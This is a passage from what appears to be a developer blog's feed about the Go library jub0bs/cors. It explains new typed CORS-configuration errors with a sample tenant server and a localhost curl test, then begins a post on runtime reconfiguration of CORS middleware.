<p>It quickly dawned on me that, without any other changes to the library,
the required set of concrete error types would be too large to be manageable.
As often, I found the answer in <a href="https://web.stanford.edu/~ouster/cgi-bin/home.php" target="_blank" rel="noopener">John Ousterhout</a>&rsquo;s writing:</p>
<blockquote>
<p>The best way to eliminate exception handling complexity is to define your APIs
so that there are no [or fewer] exceptions to handle:
define errors out of existence.</p>
</blockquote>
<p>(<a href="https://web.stanford.edu/~ouster/cgi-bin/book.php" target="_blank" rel="noopener"><em>A philosophy of software design</em>, John Ousterhout, 2nd. edition</a>,
section 10.3)</p>
<p>With this design principle in mind,
I modified the library so as to gracefully tolerate benign configuration
infelicities that were hitherto bubbled up as errors to callers.
An immediate side benefit of this simplification is that,
because the library&rsquo;s documentation needs explain fewer cases for failure,
it is now shorter and somewhat more digestible.</p>
<h2 id="introducing-concrete-error-types-in-a-new-subpackage">Introducing concrete error types in a new subpackage <a href="#introducing-concrete-error-types-in-a-new-subpackage">¶</a></h2>
<p>Defining some errors out of existence allowed me to reduce the set of concrete
error types to no more than eight orthogonal elements:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">IncompatibleOriginPatternError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">IncompatiblePrivateNetworkAccessModesError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">IncompatibleWildcardResponseHeaderNameError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">MaxAgeOutOfBoundsError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">PreflightSuccessStatusOutOfBoundsError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">UnacceptableHeaderNameError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">UnacceptableMethodError</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">UnacceptableOriginPatternError</span>
</span></span></code></pre></div><p>Recall that most importers of <a href="https://pkg.go.dev/github.com/jub0bs/cors" target="_blank" rel="noopener">github.com/jub0bs/cors</a>
have no need for programmatic handling of their CORS-configuration errors,
though.
Because I didn&rsquo;t want to overwhelm them,
I decided to export the concrete error types,
not from <a href="https://pkg.go.dev/github.com/jub0bs/cors" target="_blank" rel="noopener">the root package</a>,
but from <a href="https://pkg.go.dev/github.com/jub0bs/cors/cfgerrors" target="_blank" rel="noopener">a new subpackage named &ldquo;cfgerrors&rdquo;</a>.
Thanks to this approach, the API of
<a href="https://pkg.go.dev/github.com/jub0bs/cors" target="_blank" rel="noopener">github.com/jub0bs/cors</a> remains tight,
and casual importers of won&rsquo;t unnecessarily suffer additional cognitive load.</p>
<p>Package <a href="https://pkg.go.dev/github.com/jub0bs/cors/cfgerrors" target="_blank" rel="noopener">github.com/jub0bs/cors/cfgerrors</a>
also provides an iterator factory named &ldquo;All&rdquo;,
which allows programs to <a href="https://go.dev/blog/range-functions" target="_blank" rel="noopener">iterate</a>
over the CORS-configuration errors contained in an <code>error</code> value&rsquo;s tree:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">All</span>(<span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span>) <span style="color:#a6e22e">iter</span>.<span style="color:#a6e22e">Seq</span>[<span style="color:#66d9ef">error</span>]
</span></span></code></pre></div><p>To benefit from those features, update to <a href="https://github.com/jub0bs/cors/releases/tag/v0.5.0" target="_blank" rel="noopener">v0.5.0 of jub0bs/cors</a>.</p>
<h2 id="a-relatively-simple-example">A relatively simple example <a href="#a-relatively-simple-example">¶</a></h2>
<p>The server below lets tenants configure which Web origins are allowed by their
CORS middleware and whether credentialed access (e.g. with cookies) is allowed.
It programmatically handles any resulting error in order to inform
tenants of their CORS-configuration mistakes in a human-friendly way.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#f92672">package</span> <span style="color:#a6e22e">main</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;encoding/json&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;fmt&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;io&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;log&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;mime&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;net/http&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;github.com/jub0bs/cors&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;github.com/jub0bs/cors/cfgerrors&#34;</span>
</span></span><span style="display:flex;"><span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">main</span>() {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">app</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">TenantApp</span>{<span style="color:#a6e22e">id</span>: <span style="color:#e6db74">&#34;jub0bs&#34;</span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mux</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;POST /configure-cors&#34;</span>, <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">handleReconfigureCORS</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">api</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">NewServeMux</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">api</span>.<span style="color:#a6e22e">HandleFunc</span>(<span style="color:#e6db74">&#34;GET /hello&#34;</span>, <span style="color:#a6e22e">handleHello</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mux</span>.<span style="color:#a6e22e">Handle</span>(<span style="color:#e6db74">&#34;/&#34;</span>, <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">corsMiddleware</span>.<span style="color:#a6e22e">Wrap</span>(<span style="color:#a6e22e">api</span>))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ListenAndServe</span>(<span style="color:#e6db74">&#34;:8080&#34;</span>, <span style="color:#a6e22e">mux</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ErrServerClosed</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">log</span>.<span style="color:#a6e22e">Fatal</span>(<span style="color:#a6e22e">err</span>)
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">type</span> <span style="color:#a6e22e">TenantApp</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">id</span>             <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">corsMiddleware</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Middleware</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">app</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">TenantApp</span>) <span style="color:#a6e22e">handleReconfigureCORS</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">r</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">mediatype</span>, <span style="color:#a6e22e">_</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">mime</span>.<span style="color:#a6e22e">ParseMediaType</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Header</span>.<span style="color:#a6e22e">Get</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">mediatype</span> <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;application/json&#34;</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusBadRequest</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">reqData</span> <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Origins</span>     []<span style="color:#66d9ef">string</span> <span style="color:#e6db74">`json:&#34;origins&#34;`</span>
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Credentials</span> <span style="color:#66d9ef">bool</span>     <span style="color:#e6db74">`json:&#34;credentials&#34;`</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">NewDecoder</span>(<span style="color:#a6e22e">r</span>.<span style="color:#a6e22e">Body</span>).<span style="color:#a6e22e">Decode</span>(<span style="color:#f92672">&amp;</span><span style="color:#a6e22e">reqData</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusBadRequest</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">cfg</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">cors</span>.<span style="color:#a6e22e">Config</span>{
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Origins</span>:      <span style="color:#a6e22e">reqData</span>.<span style="color:#a6e22e">Origins</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">Credentialed</span>: <span style="color:#a6e22e">reqData</span>.<span style="color:#a6e22e">Credentials</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">corsMiddleware</span>.<span style="color:#a6e22e">Reconfigure</span>(<span style="color:#f92672">&amp;</span><span style="color:#a6e22e">cfg</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">Header</span>().<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;Content-Type&#34;</span>, <span style="color:#e6db74">&#34;application/json&#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusBadRequest</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">resData</span> = <span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Errors</span> []<span style="color:#66d9ef">string</span> <span style="color:#e6db74">`json:&#34;errors&#34;`</span>
</span></span><span style="display:flex;"><span>        }{
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">Errors</span>: <span style="color:#a6e22e">adaptCORSConfigErrorMessagesForClient</span>(<span style="color:#a6e22e">err</span>),
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">json</span>.<span style="color:#a6e22e">NewEncoder</span>(<span style="color:#a6e22e">w</span>).<span style="color:#a6e22e">Encode</span>(<span style="color:#a6e22e">resData</span>); <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">w</span>.<span style="color:#a6e22e">WriteHeader</span>(<span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">StatusInternalServerError</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">adaptCORSConfigErrorMessagesForClient</span>(<span style="color:#a6e22e">err</span> <span style="color:#66d9ef">error</span>) []<span style="color:#66d9ef">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">msgs</span> []<span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#66d9ef">range</span> <span style="color:#a6e22e">cfgerrors</span>.<span style="color:#a6e22e">All</span>(<span style="color:#a6e22e">err</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">err</span>.(<span style="color:#66d9ef">type</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">cfgerrors</span>.<span style="color:#a6e22e">UnacceptableOriginPatternError</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">msg</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Reason</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> <span style="color:#e6db74">&#34;missing&#34;</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">msg</span> = <span style="color:#e6db74">&#34;You must allow at least one Web origin.&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> <span style="color:#e6db74">&#34;invalid&#34;</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">msg</span> = <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;%q is not a valid Web origin.&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Value</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> <span style="color:#e6db74">&#34;prohibited&#34;</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">msg</span> = <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#e6db74">&#34;For security reasons, you cannot allow Web origin %q.&#34;</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Value</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>                panic(<span style="color:#e6db74">&#34;unknown reason&#34;</span>)
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">msgs</span> = append(<span style="color:#a6e22e">msgs</span>, <span style="color:#a6e22e">msg</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">case</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">cfgerrors</span>.<span style="color:#a6e22e">IncompatibleOriginPatternError</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">var</span> <span style="color:#a6e22e">msg</span> <span style="color:#66d9ef">string</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">switch</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Reason</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> <span style="color:#e6db74">&#34;credentialed&#34;</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Value</span> <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;*&#34;</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">msg</span> = <span style="color:#e6db74">&#34;For security reasons, you cannot both allow credentialed access and allow all Web origins.&#34;</span>
</span></span><span style="display:flex;"><span>                } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;For security reasons, you cannot both allow credentialed access allow insecure origins like %q.&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#a6e22e">msg</span> = <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Value</span>)
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">case</span> <span style="color:#e6db74">&#34;psl&#34;</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">const</span> <span style="color:#a6e22e">tmpl</span> = <span style="color:#e6db74">&#34;For security reasons, you cannot specify %q as an origin pattern, because it covers all subdomains of a registrable domain.&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">msg</span> = <span style="color:#a6e22e">fmt</span>.<span style="color:#a6e22e">Sprintf</span>(<span style="color:#a6e22e">tmpl</span>, <span style="color:#a6e22e">err</span>.<span style="color:#a6e22e">Value</span>)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>                panic(<span style="color:#e6db74">&#34;unknown reason&#34;</span>)
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">msgs</span> = append(<span style="color:#a6e22e">msgs</span>, <span style="color:#a6e22e">msg</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">default</span>:
</span></span><span style="display:flex;"><span>            panic(<span style="color:#e6db74">&#34;unknown configuration issue&#34;</span>)
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> <span style="color:#a6e22e">msgs</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">func</span> <span style="color:#a6e22e">handleHello</span>(<span style="color:#a6e22e">w</span> <span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">ResponseWriter</span>, <span style="color:#a6e22e">_</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">http</span>.<span style="color:#a6e22e">Request</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">WriteString</span>(<span style="color:#a6e22e">w</span>, <span style="color:#e6db74">&#34;Hello, World!&#34;</span>)
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><hr>
<p>Granted, writing such glue code is fastidious, but not prohibitively so, in my opinion.</p>
<hr>
<p>Try it for yourself! After starting the server, run the following shell command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>curl -v localhost:8080/configure-cors <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    -H <span style="color:#e6db74">&#34;Content-Type: application/json&#34;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>    --data <span style="color:#e6db74">&#39;{&#34;origins&#34;:[&#34;*&#34;],&#34;credentials&#34;:true}&#39;</span>
</span></span></code></pre></div><p>The server responds to the resulting POST request as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-http" data-lang="http"><span style="display:flex;"><span><span style="color:#66d9ef">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span> <span style="color:#ae81ff">400</span> <span style="color:#a6e22e">Bad Request</span>
</span></span><span style="display:flex;"><span>Content-Type<span style="color:#f92672">:</span> <span style="color:#ae81ff">application/json</span>
</span></span><span style="display:flex;"><span>Date<span style="color:#f92672">:</span> <span style="color:#ae81ff">Wed, 15 Jan 2025 17:50:02 GMT</span>
</span></span><span style="display:flex;"><span>Content-Length<span style="color:#f92672">:</span> <span style="color:#ae81ff">106</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>{<span style="color:#f92672">&#34;errors&#34;</span>:[<span style="color:#e6db74">&#34;For security reasons, you cannot both allow credentialed access and allow all Web origins.&#34;</span>]}
</span></span></code></pre></div><p><a href="https://pkg.go.dev/github.com/jub0bs/cors/cfgerrors#example-package" target="_blank" rel="noopener">A more elaborate example</a>,
involving more of the concrete error types exported
by <a href="https://pkg.go.dev/github.com/jub0bs/cors/cfgerrors" target="_blank" rel="noopener">package cfgerrors</a>, is available in the documentation.</p>
<h2 id="eating-my-own-dog-food">Eating my own dog food <a href="#eating-my-own-dog-food">¶</a></h2>
<p>Before <a href="https://github.com/jub0bs/cors/releases/tag/v0.5.0" target="_blank" rel="noopener">v0.5.0</a>, some assertions in <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s
test suite relied on the precise wording of the library&rsquo;s error messages.
Those assertions had always bothered me, for two reasons:</p>
<ol>
<li><strong>Maintenance burden</strong>: Even a slight change to the contents of error messages
would require a corresponding change to those assertions.</li>
<li><strong>Misleading contract</strong>: Assertions used in black-box tests should ideally
express the guarantees that importers can depend on; no more, no less.
Assertions on error messages may give users the wrong impression that they
can safely parse error messages without fear of seeing their code break
when they update their dependencies.</li>
</ol>
<p>With <a href="https://github.com/jub0bs/cors/releases/tag/v0.5.0" target="_blank" rel="noopener">v0.5.0</a>, I was able to refactor <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>&rsquo;s test
suite and only assert on concrete error types and the programmatically accessible
data they contain, not on the precise wording of their messages.</p>
<h2 id="call-for-sponsors">Call for sponsors <a href="#call-for-sponsors">¶</a></h2>
<p>If this feature is useful to your company, please do let me know.
And if you depend on <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>
and would like to support its development and maintenance,
consider <a href="https://github.com/sponsors/jub0bs" target="_blank" rel="noopener">sponsoring me on GitHub</a>. 💸</p>
]]></content>
        </item>
        
        <item>
            <title>Reconfigurable CORS middleware with jub0bs/cors</title>
            <link>//jub0bs.com/posts/2024-05-14-reconfigurable-cors-middleware/</link>
            <pubDate>Tue, 14 May 2024 13:00:00 +0000</pubDate>
            
            <guid>//jub0bs.com/posts/2024-05-14-reconfigurable-cors-middleware/</guid>
            <description>&lt;h2 id=&#34;tldr&#34;&gt;TL;DR &lt;a href=&#34;#tldr&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In this short follow-up to &lt;a href=&#34;https://jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;my previous post&lt;/a&gt;,
I describe why and how I&amp;rsquo;ve added support for dynamic reconfiguration
of CORS middleware in &lt;a href=&#34;https://github.com/jub0bs/cors&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;jub0bs/cors&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&#34;rethinking-configuration-immutability&#34;&gt;Rethinking configuration immutability &lt;a href=&#34;#rethinking-configuration-immutability&#34;&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Up until recently, I had been vehemently &lt;a href=&#34;https://jub0bs.com/posts/2023-02-08-fearless-cors/#11-guarantee-configuration-immutability&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;arguing&lt;/a&gt;
that &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CORS&lt;/a&gt; middleware should not be reconfigurable on the fly
and that any change to their configuration should require a server restart:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Insofar as CORS relaxes some of the restrictions enforced by the SOP, it is a
security-critical mechanism. Accordingly, a server’s CORS configuration
should be subject to change control: more specifically, I argue that any
update to CORS configuration warrants careful vetting and should be followed
by a server restart. [&amp;hellip;] if developers perceive server
startup as prohibitively slow, they should, in my opinion, focus their efforts
on reducing startup time rather than on avoiding the need to restart the server.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<h2 id="tldr">TL;DR <a href="#tldr">¶</a></h2>
<p>In this short follow-up to <a href="https://jub0bs.com/posts/2024-04-27-jub0bs-cors-a-better-cors-middleware-library-for-go/" target="_blank" rel="noopener">my previous post</a>,
I describe why and how I&rsquo;ve added support for dynamic reconfiguration
of CORS middleware in <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>.</p>
<h2 id="rethinking-configuration-immutability">Rethinking configuration immutability <a href="#rethinking-configuration-immutability">¶</a></h2>
<p>Up until recently, I had been vehemently <a href="https://jub0bs.com/posts/2023-02-08-fearless-cors/#11-guarantee-configuration-immutability" target="_blank" rel="noopener">arguing</a>
that <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS" target="_blank" rel="noopener">CORS</a> middleware should not be reconfigurable on the fly
and that any change to their configuration should require a server restart:</p>
<blockquote>
<p>Insofar as CORS relaxes some of the restrictions enforced by the SOP, it is a
security-critical mechanism. Accordingly, a server’s CORS configuration
should be subject to change control: more specifically, I argue that any
update to CORS configuration warrants careful vetting and should be followed
by a server restart. [&hellip;] if developers perceive server
startup as prohibitively slow, they should, in my opinion, focus their efforts
on reducing startup time rather than on avoiding the need to restart the server.</p>
<p>A middleware built with jub0bs/fcors [my initial reference implementation] is
effectively immutable, and any amendment to the corresponding CORS policy
requires a server restart. Although this constraint does not guarantee that
CORS-policy changes will get reviewed, I believe that it at least nudges
developers to adopt such a practice.</p>
</blockquote>
<p>I was careful to hedge my bets a bit, though:</p>
<blockquote>
<p>Although I’ve endeavoured to avoid past design mistakes of others,
I’ve likely made brand new ones myself.</p>
</blockquote>
<p>And I&rsquo;m glad I did. Some recent feedback about <a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a>,
my latest reference implementation, has compelled me to rethink this principle
and somewhat soften my stance on the topic.
I still very much value <a href="https://www.youtube.com/watch?v=II4PFe9BbmE" target="_blank" rel="noopener">immutable infrastructure</a>,
but this constraint can prove both excessively restrictive and ineffective for
my stated goals:</p>
<ul>
<li>It&rsquo;s excessively restrictive because it impedes snappy zero-downtime updates,
at least in some cases; picture, for instance, a multi-tenant SaaS company&rsquo;s
CORS-aware API whose (re-)deployment takes a prohibitively long time.</li>
<li>It&rsquo;s ineffective because, as I hinted at in the passage quoted above,
it alone does not guarantee <a href="https://en.wikipedia.org/wiki/Change_control" target="_blank" rel="noopener">change control</a> and auditability.
In retrospect, I must admit that my attempt to address such governance concerns
at the library level was perhaps ill-advised.</li>
</ul>
<p>Many situations warrant a more pragmatic approach,
and configuration immutability can advantageously be lifted,
as long as concurrency safety is maintained.</p>
<h2 id="jub0bscors-middleware-are-now-reconfigurable">jub0bs/cors middleware are now reconfigurable <a href="#jub0bscors-middleware-are-now-reconfigurable">¶</a></h2>
<p>After gathering my thoughts for a while and
<a href="https://app.slack.com/client/T029RQSE6/C35KDUGHL" target="_blank" rel="noopener">eliciting some feedback from the Go community</a>, I was able to retrofit
<a href="https://github.com/jub0bs/cors" target="_blank" rel="noopener">jub0bs/cors</a> for on-the-fly middleware reconfigurability
